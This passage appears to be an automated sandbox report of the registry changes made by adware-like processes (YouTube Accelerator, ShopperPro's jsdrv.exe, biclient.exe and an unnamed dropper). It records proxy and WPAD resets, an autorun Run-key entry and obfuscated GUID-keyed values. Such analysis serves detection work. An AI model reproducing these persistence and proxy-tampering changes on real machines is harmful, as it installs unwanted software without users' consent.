[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 42 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "41 A5 02 F5 FE 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "41 A5 02 F5 FE 2A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process YouTubeAccelerator.exe:3948 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E0 A5 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1420692791"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B8 E2 0F FC FE 2A D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "E8 3E 6C 02 FF 2A D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1420692791"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 47 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"
"TimeLimit" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "E8 3E 6C 02 FF 2A D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process jsdrv.exe:1472 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "51 75 CB F8 FE 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 46 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "1E FB 58 FA FE 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "1E FB 58 FA FE 2A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:2164 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "41 A5 02 F5 FE 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 45 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "51 75 CB F8 FE 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "51 75 CB F8 FE 2A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:2944 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B6 DD 57 CF FE 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 40 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "B6 DD 57 CF FE 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "B6 DD 57 CF FE 2A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:3776 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C8 A6 28 7D FF 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "E5 59 F0 8B FF 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "E5 59 F0 8B FF 2A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:2152 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "33 F8 E6 39 FF 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "CB EF 08 3F FF 2A D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "CB EF 08 3F FF 2A D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process 18be6784_.exe:2712 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}{be0fb33b}]
"InstallDate" = "20140118"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"587b5709" = "V/////%%"

[HKCU\Software\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"51d2f2ea" = "JlA /Y//b/Ak/YZ/c//x/W//I//x/CD/Ux/e////"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\00000000]
